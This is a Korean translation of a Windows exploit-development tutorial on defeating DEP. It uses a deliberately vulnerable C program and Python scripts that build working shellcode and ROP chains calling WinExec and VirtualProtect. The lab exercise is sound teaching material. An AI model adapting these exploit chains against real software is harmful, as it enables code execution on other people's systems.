티스토리 뷰
본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다.
http://expdev-kiuhnm.rhcloud.com
최신 윈도우즈 익스플로잇 개발 09. Exploitme3 (DEP)
hackability.kr (김태범)
hackability_at_naver.com or ktb88_at_korea.ac.kr
2016.07.19
이 글은 전체 과정 중 한 부분이기 때문에 순서대로 보시는것이 좋습니다. 여기서는 exploitme1과 exploitme2를 안다고 가정하고 진행하도록 하겠습니다.
이 부분은 쉽지 않기 때문에 충분히 시간을 갖고 해야 합니다. 여러번 다시 설명할 것 같지 않아 여기서 간단히 설명하도록 하겠습니다. ROP 개념에 대해 이해를 하고 계신다면 어떻게 동작하는지 스스로 공부 할 수 있습니다. 제가 처음에 ROP 를 공부 했을 때 그런식으로 공부를 했습니다. 또한 어셈블리에 대해 굉장히 친숙하셔야 합니다. RET 0x4가 어떤 역할을 하는지? 32-bit 코드에서는 함수에 인자들이 어떻게 전달 되는지? 이런 것들이 명확하지 않다면 어셈블리를 좀 더 공부할 필요가 있습니다.
시작해보죠!
먼저, VS 2013에서 stack cookie 는 비활성화 하고 DEP는 그대로 둡니다. Project -> properties 에서 Release 속성을 다음과 같이 설정해주세요.
- Configuration Properties
- C/C++
- Code Generation
- Security Check: Disable Security Check (/GS-)
- Configuration Properties
- Linker
- Advanced
- Data Execution Prevention (DEP): Yes (/NXCOMPAT)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #include <cstdio> int main() { char name[32]; printf("Reading name from file...\n"); FILE *f = fopen("c:\\name.dat", "rb"); if (!f) return -1; fseek(f, 0L, SEEK_END); long bytes = ftell(f); fseek(f, 0L, SEEK_SET); fread(name, 1, bytes, f); name[bytes] = '\0'; fclose(f); printf("Hi, %s!\n", name); return 0; } | cs |
exploitme1.exe에서 사용했던 파이썬 스크립트를 이용하여 name.dat을 생성합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | with open('c:\\name.dat', 'wb') as f: ret_eip = '\x80\xa9\xe1\x75' # "push esp / ret" in kernel32.dll shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+ "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+ "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+ "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+ "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+ "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+ "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+ "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+ "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+ "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+ "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+ "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+ "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+ "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+ "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+ "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+ "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+ "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+ "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+ "\x30\x03\xc6\xeb\xdd") name = 'a'*36 + ret_eip + shellcode f.write(name) | cs |
저는 윈도우즈를 재부팅 했기 때문에 ret_eip를 변경해줘야 합니다. kernel32.dll 에서 JMP ESP나 이와 비슷한 역할을 하는 코드를 찾아 두시기 바랍니다.
!py mona jmp -r esp -m kernel32.dll
DEP가 비활성화 되어 있을 때, exploitme3.exe를 실행하면 익스플로잇이 정상적으로 동작하지만 DEP가 활성화 되어 있을 경우에는 다음과 같은 예외가 발생되게 됩니다.
(1ee8.c3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6d593071 edx=005a556b esi=00000001 edi=00000000
eip=002ef788 esp=002ef788 ebp=61616161 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
002ef788 e8ffffffff call 002ef78c
여기서 EIP는 ESP와 같기 때문에 그냥 ESP로 점프하면 될것 같지만 뭔가 이상합니다. EIP 를 디스어셈블 해보면 확실히 우리의 쉘코드에 있음을 알 수 있습니다.
위의 파이썬 스크립트에 있는 쉘 코드를 보면
\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02
보시다시피 쉘 코드 바이트와 EIP 위치의 바이트가 동일합니다.
그러면 뭐가 문제일까요? 문제는 코드를 포함하고 있는 페이지가 non executable (실행 불가)로 되어 있기 때문입니다.
페이지가 executable (실행 가능)하다면 다음과 같이 볼 수 있습니다.
0:000> !vprot @eip
BaseAddress: 77c71000
AllocationBase: 77bd0000
AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY
RegionSize: 00045000
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE
중요한 부분은 다음과 같습니다.
Protect: 00000020 PAGE_EXECUTE_READ
이 의미는 페이지는 읽기와 실행 가능으로 되어 있음을 뜻합니다.
우리의 경우에는 예외가 발생한 뒤 살펴 보면 뭔가 다름을 볼 수 있습니다.
0:000> !vprot @eip
BaseAddress: 0028f000
AllocationBase: 00190000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
페이지가 읽기, 쓰기로는 되어 있지만 실행은 없습니다.
간단히 말하자면 DEP (Data Execution Prevention)은 데이터를 포함하는 모든 페이지들에 대해 실행 불가능 하도록 설정합니다. 이는 스택과 힙 모두 해당됩니다. 해결책으로는 간단합니다. 스택에서 코드를 실행 시키지 않는 것 입니다!
이렇게 하는 기술을 ROP라 불리며 Return-Oriented Programming 의 약자 입니다. 아이디어는 간단합니다.
1. 모듈에 이미 존재하는 코드들을 재사용
2. 스택을 데이터나 실행 흐름만을 조작하는 용도로 사용
다음과 같이 3개의 코드가 있다고 해봅시다.
piece1:
pop eax
pop ebx
ret
piece2:
mov ecx, 4
ret
piece3:
pop edx
ret
piece1, piece2, 그리고 piece3은 각각 라벨들이며 메모리의 주소를 표현합니다. 편의를 위해 실제 주소 보다는 이런식으로 사용해보도록 하겠습니다.
스택에 다음과 같이 값들이 있다고 가정합니다.
esp --> value_for_eax
value_for_ebx
piece2
piece3
value_for_edx
만약 EIP가 piece1이고 코드를 실행 하면 다음과 같이 실행됩니다.
순서대로 살펴보면 다음과 같습니다.
1. 실행은 piece1에서 시작되며 esp는 value_for_eax를 가리킴
2. pop eax는 value_for_eax를 eax에 넣음 (esp += 4: 이제 esp는 value_for_ebx를 가리킴)
3. pop ebx는 value_for_ebx를 ebx에 넣음 (esp += 4: 이제 esp는 piece2를 가리킴)
4. ret은 piece2를 가져와 piece2로 점프 (esp += 4: 이제 esp는 piece3을 가리킴)
5. mov ecx, 4는 ecx에 4를 넣음
6. ret은 piece3을 가져와 piece3로 점프 (esp += 4: 이제 esp는 value_for_edx를 가리킴)
7. pop edx는 value_for_edx를 edx에 넣음 (esp += 4: 이제 esp는 some_function을 가리킴)
8. ret은 some_function을 가져와 some_function 으로 점프
여기서 some_function은 반환하지 않는다고 가정합니다.
여기서 이 기술이 왜 ROP로 불리는지 명확해집니다. RET 명령이 코드 조각에서 다음로 넘어가는 점프 역할로 사용됩니다. 이 코드의 조각들을 보통 가젯(gadgets) 이라 부릅니다. 가젯은 RET 명령으로 끝나는 코드의 연속입니다.
ROP 제작의 어려운 부분은 어떤 목적을 위해 적절한 가젯들을 찾고 연결 시키는 것 입니다.
WinExec 직접 호출
우리의 익스플로잇을 위해 다음과 같은 실행을 원한다고 해봅시다.
WinExec("calc.exe", SW_SHOW);
ExitThread(0);
이 코드에 해당하는 어셈블리 코드는 다음과 같습니다.
WinExec("calc.exe", SW_SHOW);
00361000 6A 05 push 5
00361002 68 00 21 36 00 push 362100h
00361007 FF 15 04 20 36 00 call dword ptr ds:[362004h]
ExitThread(0);
0036100D 6A 00 push 0
0036100F FF 15 00 20 36 00 call dword ptr ds:[362000h]
한 가지 중요한 점은 WinExec()와 ExitThread() 에서는 스스로 스택에서 인자들을 처리한다는 점 입니다. (ret 8, ret 4 등등)
362100h 는 .rdata 에 위치한 calc.exe 문자열의 주소 입니다. 우리는 이 문자열을 직접 스택에 넣을 필요가 있습니다. 하지만 이 문자열의 주소는 일정하지 않기 때문에 실행 중에 계산을 할 필요가 있습니다.
첫 번째로, kernel32.dll, ntdll.dll, msvcr120.dll에서 쓸모 있는 가젯들을 찾습니다. 여기서 다시 mona를 사용해보죠. 만약 안된다면 mona의 작업 디렉토리를 다음과 같이 설정해보시기 바랍니다.
!py mona config -set workingfolder "C:\logs\%p"
물론 이 디렉토리는 마음껏 변경할 수 있습니다. %p는 매번 작업하고 있는 실행 파일의 이름으로 변경합니다.
아래는 일반적인 ROPs을 찾는 명령어 입니다.
!py mona rop -m kernel32.dll,ntdll,msvcr120.dll
굉장히 많은 데이터가 출력되고 아래 파일들이 생성됩니다.
(rop.txt, rop_chains.txt, rop_suggestions.txt, stackpivot.txt)
파일에 어떤 정보를 갖고 있는지 확인해보시기 바랍니다.
WinExec와 ExitThread를 호출하기 위해 스택을 다음과 같이 설정할 필요가 있습니다.
cmd: "calc"
".exe"
0
WinExec <----- ESP
ExitThread
cmd # arg1 of WinExec
5 # arg2 (uCmdShow) of WinExec
ret_for_ExitThread # not used
dwExitCode # arg1 of ExitThread
ESP가 위 처럼 가리키고 있을 때, RET 을 실행하면 WinExec가 실행됩니다. WinExec는 RETN 8 명령으로 종료 하는데 이는 스택에서 ExitThread 주소를 가져오고 ExitThread로 뛰며 스택에서 2개의 인자를 제거 합니다. (RETN 8 = ESP + 8) ExitThread는 스택에 있는 dwExitCode를 사용하는데 반환되지는 않습니다.
여기에는 2 가지 문제가 있습니다.
1. 몇 개의 바이트가 null 인 문제
2. cmd는 상수가 아니기 때문에 WinExec의 arg1은 실행 중에 수정되어야 하는 문제
우리의 경우에는 fread()를 통해 파일로 부터 데이터를 읽기 때문에 null 바이트를 고려할 필요가 없습니다. 그래도 좀더 재밋게 하기 위해 우리의 ROP chain에는 null 바이트가 없도록 해봅시다. 5 (SW_SHOW) 대신에 0x01010101 을 사용하는데 이렇게 해도 동작하는데 지장은 없습니다. 첫 번째 null dword 는 cmd 문자열의 종료로 사용되는데 이를 0xffffffff와 같이 변경하고 실행 중에 0으로 변경합니다. 마지막으로 cmd (문자열의 주소)를 실행 중에 스택에 써보도록 하겠습니다.
방법은 다음과 같습니다.
먼저, ESP를 증가시켜 이용하여 스택에서 수정이 필요한 부분을 건너뜁니다. 그리고 해당 부분을 수정한 뒤 ESP 감소시켜 수정한 부분으로 점프하고 실행 합니다. (ROP 일 경우)
name.dat을 실행하는 파이썬 스크립트는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | import struct def write_file(file_path): # NOTE: The rop_chain can't contain any null bytes. msvcr120 = 0x6cf70000 kernel32 = 0x77120000 ntdll = 0x77630000 WinExec = kernel32 + 0x92ff1 ExitThread = ntdll + 0x5801c lpCmdLine = 0xffffffff uCmdShow = 0x01010101 dwExitCode = 0xffffffff ret_for_ExitThread = 0xffffffff # These are just padding values. for_ebp = 0xffffffff for_ebx = 0xffffffff for_esi = 0xffffffff for_retn = 0xffffffff rop_chain = [ msvcr120 + 0xc041d, # ADD ESP,24 # POP EBP # RETN # cmd: "calc", ".exe", # cmd+8: 0xffffffff, # zeroed out at runtime # cmd+0ch: WinExec, ExitThread, # cmd+14h: lpCmdLine, # arg1 of WinExec (computed at runtime) uCmdShow, # arg2 of WinExec ret_for_ExitThread, # not used dwExitCode, # arg1 of ExitThread # cmd+24h: for_ebp, ntdll + 0xa3f07, # INC ESI # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04 # now edi = here # here: for_esi, for_ebp, msvcr120 + 0x45042, # XCHG EAX,EDI # RETN for_retn, # now eax = here msvcr120 + 0x92aa3, # SUB EAX,7 # POP EBX # POP EBP # RETN for_ebx, for_ebp, msvcr120 + 0x92aa3, # SUB EAX,7 # POP EBX # POP EBP # RETN for_ebx, for_ebp, msvcr120 + 0x92aa3, # SUB EAX,7 # POP EBX # POP EBP # RETN for_ebx, for_ebp, msvcr120 + 0x92aa3, # SUB EAX,7 # POP EBX # POP EBP # RETN for_ebx, for_ebp, msvcr120 + 0x92aa3, # SUB EAX,7 # POP EBX # POP EBP # RETN for_ebx, for_ebp, msvcr120 + 0xbfe65, # SUB EAX,2 # POP EBP # RETN for_ebp, kernel32 + 0xb7804, # INC EAX # RETN # now eax = cmd+8 # do [cmd+8] = 0: msvcr120 + 0x76473, # XOR ECX,ECX # XCHG ECX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN for_esi, for_ebp, msvcr120 + 0xbfe65, # SUB EAX,2 # POP EBP # RETN for_ebp, # now eax+0eh = cmd+14h (i.e. eax = cmd+6) # do ecx = eax: msvcr120 + 0x3936b, # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN kernel32 + 0xb7a0a, # XOR EAX,EAX # RETN kernel32 + 0xbe203, # XOR EAX,ECX # POP EBP # RETN 0x08 for_ebp, msvcr120 + 0xbfe65, # SUB EAX,2 # POP EBP # RETN for_retn, for_retn, for_ebp, msvcr120 + 0xbfe65, # SUB EAX,2 # POP EBP # RETN for_ebp, msvcr120 + 0xbfe65, # SUB EAX,2 # POP EBP # RETN for_ebp, # now eax = cmd msvcr120 + 0x3936b, # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN # now eax+0eh = cmd+14h # now ecx = cmd kernel32 + 0xa04fc, # MOV DWORD PTR [EAX+0EH],ECX # POP EBP # RETN 0x10 for_ebp, msvcr120 + 0x3936b, # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN for_retn, for_retn, for_retn, for_retn, msvcr120 + 0x1e47e, # ADD EAX,0C # RETN # now eax = cmd+0ch # do esp = cmd+0ch: kernel32 + 0x489c0, # XCHG EAX,ESP # RETN ] rop_chain = ''.join([x if type(x) == str else struct.pack('<I', x) for x in rop_chain]) with open(file_path, 'wb') as f: ret_eip = kernel32 + 0xb7805 # RETN name = 'a'*36 + struct.pack('<I', ret_eip) + rop_chain f.write(name) write_file(r'c:\name.dat') | cs |
가젯의 chain이 굉장히 뒤죽박죽 처럼 보이는데 시간을 갖고 이를 이해하려고 해야 합니다. WinDbg에서 이를 디버깅 하려면 exploitme3.exe를 불러와서 main 함수의 ret 명령에 breakpoint 을 설정하면 됩니다.
bp exploitme3!main+0x86
그리고 F5(go)를 하고 F10(step)으로 코드를 살펴 봅니다. dd esp를 이용하여 현재 스택을 살펴 볼 수 있습니다.
어떤 일이 일어나는지 이해를 돕기 위해 간단히 설명을 달면 다음과 같습니다.
esp += 0x24+4 # ADD ESP,24 # POP EBP # RETN
# This "jumps" to "skip" ------------------------+
# cmd: |
"calc" |
".exe" |
# cmd+8: |
0xffffffff, # zeroed out at runtime |
# cmd+0ch: |
WinExec <----------------------------------------------------------------)---------------------------+
ExitThread | |
# cmd+14h: | |
lpCmdLine # arg1 of WinExec (computed at runtime) | |
uCmdShow # arg2 of WinExec | |
ret_for_ExitThread # not used | |
dwExitCode # arg1 of ExitThread | |
# cmd+24h: | |
for_ebp | |
| |
skip: <---------------------------------------------------------------+ |
edi = esp # INC ESI # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04 |
# ----> now edi = here |
# here: |
eax = edi # XCHG EAX,EDI # RETN |
# ----> now eax = here |
|
eax -= 36 # SUB EAX,7 # POP EBX # POP EBP # RETN |
# SUB EAX,7 # POP EBX # POP EBP # RETN |
# SUB EAX,7 # POP EBX # POP EBP # RETN |
# SUB EAX,7 # POP EBX # POP EBP # RETN |
# SUB EAX,7 # POP EBX # POP EBP # RETN |
# SUB EAX,2 # POP EBP # RETN |
# INC EAX # RETN |
# ----> now eax = cmd+8 (i.e. eax --> value to zero-out) |
|
dword ptr [eax] = 0 # XOR ECX,ECX # XCHG ECX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN |
|
eax -= 2 # SUB EAX,2 # POP EBP # RETN |
# ----> now eax+0eh = cmd+14h (i.e. eax+0eh --> lpCmdLine on the stack) |
|
ecx = eax # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN |
# XOR EAX,EAX # RETN |
# XOR EAX,ECX # POP EBP # RETN 0x08 |
|
eax -= 6 # SUB EAX,2 # POP EBP # RETN |
# SUB EAX,2 # POP EBP # RETN |
# SUB EAX,2 # POP EBP # RETN |
# ----> now eax = cmd |
|
swap(eax,ecx) # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN |
# ----> now eax+0eh = cmd+14h |
# ----> now ecx = cmd |
|
[eax+0eh] = ecx # MOV DWORD PTR [EAX+0EH],ECX # POP EBP # RETN 0x10 |
|
eax = ecx # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN |
eax += 12 # ADD EAX,0C # RETN |
# ----> now eax = cmd+0ch |
esp = eax # XCHG EAX,ESP # RETN |
# This "jumps" to cmd+0ch ----------------------------------------------------+
DEP 비활성화
DEP는 프로그램적으로 비활성화 시킬 수 있습니다. DEP는 몇몇 응용 프로그램들은 문제가 발생 될 수 있기 때문에 설정 변경 가능하도록 되어야 합니다.
전체적으로 봣을 때, DEP는
- AlwaysOn: 항상 활성화
- AlwaysOff: 항상 비활성화
- OptIn: 유저에 의해 선택된 시스템 프로세스나 응용들만 DEP 활성화
- OptOut: 유저가 명시한 응용들을 제외한 모든 응용들에 대해 DEP 활성화
DEP는 SetProcessDEPPolicy를 이용하여 프로세스 별로 활성화 비활성화가 가능합니다.
DEP를 우회하는 방법은 다양합니다.
VirtualProtect()는 메모리를 실행 가능하도록 합니다.
VirtualAlloc()은 실행 가능한 메모리를 할당합니다.
- HeapCreate() + HeapAlloc() + copy memory
- SetProcessDEPPolicy()는 DEP를 비활성화 시킵니다. 만약 DEP가 AlwaysOn 이거나 현재 프로세스에서 이미 SetProcessDEPPolicy()로 활성화가 되어 있다면 동작하지 않습니다.
- NtSetInformationProcess()는 DEP를 비활성화 시킵니다. 만약 DEP가 AlwaysOn 이거나 모듈이 /NXCOMPAT으로 컴파일 되었거나 현재 프로세스에서 이 함수가 호출되었다면 실패하게 됩니다.
Corelan 팀에서 유용한 테이블을 제공합니다.
rop_chains.txt 파일을 보면 mona는 VirtualProtect를 위한 chain을 생성한 것을 볼 수 있습니다. 이것을 이용해봅시다!
먼저, VirtualProtect를 살펴 보면 다음과 같이 정의가 되어 있습니다.
BOOL WINAPI VirtualProtect(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect
);
이 함수는 메모리의 명시된 위치의 페이지에 대한 보호 속성을 수정할 수 있습니다. 우리는 flNewProtect = 0x40 (PAGE_EXECUTE_READWRITE)를 이용할 것 입니다. 우리의 쉘 코드가 포함된 스택을 실행 가능하도록 만든다면 이전과 같이 쉘 코드를 실행 할 수 있습니다.
mona 로 만들어진 파이썬 ROP chain은 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x6d02f868, # POP EBP # RETN [MSVCR120.dll] 0x6d02f868, # skip 4 bytes [MSVCR120.dll] 0x6cf8c658, # POP EBX # RETN [MSVCR120.dll] 0x00000201, # 0x00000201-> ebx 0x6d02edae, # POP EDX # RETN [MSVCR120.dll] 0x00000040, # 0x00000040-> edx 0x6d04b6c4, # POP ECX # RETN [MSVCR120.dll] 0x77200fce, # &Writable location [kernel32.dll] 0x776a5b23, # POP EDI # RETN [ntdll.dll] 0x6cfd8e3d, # RETN (ROP NOP) [MSVCR120.dll] 0x6cfde150, # POP ESI # RETN [MSVCR120.dll] 0x7765e8ae, # JMP [EAX] [ntdll.dll] 0x6cfc0464, # POP EAX # RETN [MSVCR120.dll] 0x6d0551a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll] 0x6d02b7f9, # PUSHAD # RETN [MSVCR120.dll] 0x77157133, # ptr to 'call esp' [kernel32.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) | cs |
chain에 대한 아이디어는 간단합니다. 먼저 레지스터에 적절한 값들을 넣어 주고 PUSHAD를 이용하여 스택에 모든 레지스터들을 넣어 둡니다. 이전과 같이 null 바이트는 없도록 해야 하는데 코드를 보면 몇몇 null 바이트를 볼 수 있습니다. null 바이트를 피하기 위해 chain 에 대한 코드를 수정하였습니다.
아래 코드를 주석과 함께 잘 살펴 보시기 바랍니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | import struct # The signature of VirtualProtect is the following: # BOOL WINAPI VirtualProtect( # _In_ LPVOID lpAddress, # _In_ SIZE_T dwSize, # _In_ DWORD flNewProtect, # _Out_ PDWORD lpflOldProtect # ); # After PUSHAD is executed, the stack looks like this: # . # . # . # EDI (ptr to ROP NOP (RETN)) <---------------------------- current ESP # ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect)) # EBP (ptr to POP (skips EAX on the stack)) # ESP (lpAddress (automatic)) # EBX (dwSize) # EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE)) # ECX (lpOldProtect (ptr to writeable address)) # EAX (address of ptr to VirtualProtect) # lpAddress: # ptr to "call esp" # <shellcode> msvcr120 = 0x6cf70000 kernel32 = 0x77120000 ntdll = 0x77630000 def create_rop_chain(): for_edx = 0xffffffff # rop chain generated with mona.py - www.corelan.be (and modified by me). rop_gadgets = [ msvcr120 + 0xbf868, # POP EBP # RETN [MSVCR120.dll] msvcr120 + 0xbf868, # skip 4 bytes [MSVCR120.dll] # ebx = 0x400 (dwSize) msvcr120 + 0x1c658, # POP EBX # RETN [MSVCR120.dll] 0x11110511, msvcr120 + 0xdb6c4, # POP ECX # RETN [MSVCR120.dll] 0xeeeefeef, msvcr120 + 0x46398, # ADD EBX,ECX # SUB AL,24 # POP EDX # RETN [MSVCR120.dll] for_edx, # edx = 0x40 (NewProtect = PAGE_EXECUTE_READWRITE) msvcr120 + 0xbedae, # POP EDX # RETN [MSVCR120.dll] 0x01010141, ntdll + 0x75b23, # POP EDI # RETN [ntdll.dll] 0xfefefeff, msvcr120 + 0x39b41, # ADD EDX,EDI # RETN [MSVCR120.dll] msvcr120 + 0xdb6c4, # POP ECX # RETN [MSVCR120.dll] kernel32 + 0xe0fce, # &Writable location [kernel32.dll] ntdll + 0x75b23, # POP EDI # RETN [ntdll.dll] msvcr120 + 0x68e3d, # RETN (ROP NOP) [MSVCR120.dll] msvcr120 + 0x6e150, # POP ESI # RETN [MSVCR120.dll] ntdll + 0x2e8ae, # JMP [EAX] [ntdll.dll] msvcr120 + 0x50464, # POP EAX # RETN [MSVCR120.dll] msvcr120 + 0xe51a4, # address of ptr to &VirtualProtect() [IAT MSVCR120.dll] msvcr120 + 0xbb7f9, # PUSHAD # RETN [MSVCR120.dll] kernel32 + 0x37133, # ptr to 'call esp' [kernel32.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) def write_file(file_path): with open(file_path, 'wb') as f: ret_eip = kernel32 + 0xb7805 # RETN shellcode = ( "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + "\x30\x03\xc6\xeb\xdd") name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain() + shellcode f.write(name) write_file(r'c:\name.dat') | cs |
중요한 주석은 다음과 같습니다.
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN)) <---------------------------- current ESP
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
PUSHAD는 스택에 EAX, ECX, EDX, EBX와 원본 ESP, EBP, ESI, EDI를 넣습니다. 레지스터들은 한 번에 넣어지게 되고 주석에 보는바와 같은 순서로 스택에 예약되게 됩니다.
PUSHAD가 실행되기 바로 직전에 ESP는 (ptr to ‘call esp’) chain의 마지막 dword를 가리키고 있고 PUSHAD는 스택에 이 값을 넣게 됩니다. (ESP (lpAddress (automatic))) 이 값은 lpAddress가 되는데 이는 우리가 보호 속성을 변경하고 싶은 메모리 영역의 주소 시작점을 의미합니다.
PUSHAD가 실행되면 ESP는 EDI 가 들어간 DWORD를 가리키게 됩니다. PUSHAD 가젯에는 PUSHAD 다음에 RET 이 붙게 됩니다.
msvcr120 + 0xbb7f9, # PUSHAD # RETN [MSVCR120.dll]
이 RET 은 들어간 EDI의 DWORD를 꺼내게 되고 NOP 가젯 으로 점프합니다. 그리고 이 가젯은 ESI 가 들어간 위치의 DWORD를 꺼내고 JMP [EAX] 가젯으로 점프합니다. EAX는 VirtualProtect를 가리키는 주소를 가지고 있기 때문에 가젯은 VirtualProtect로 점프하게 됩니다. 스택은 VirtualProtect를 위해 다음과 같이 설정됩니다.
EBP (ptr to POP (skips EAX on the stack)) # RET EIP
ESP (lpAddress (automatic)) # argument 1
EBX (dwSize) # argument 2
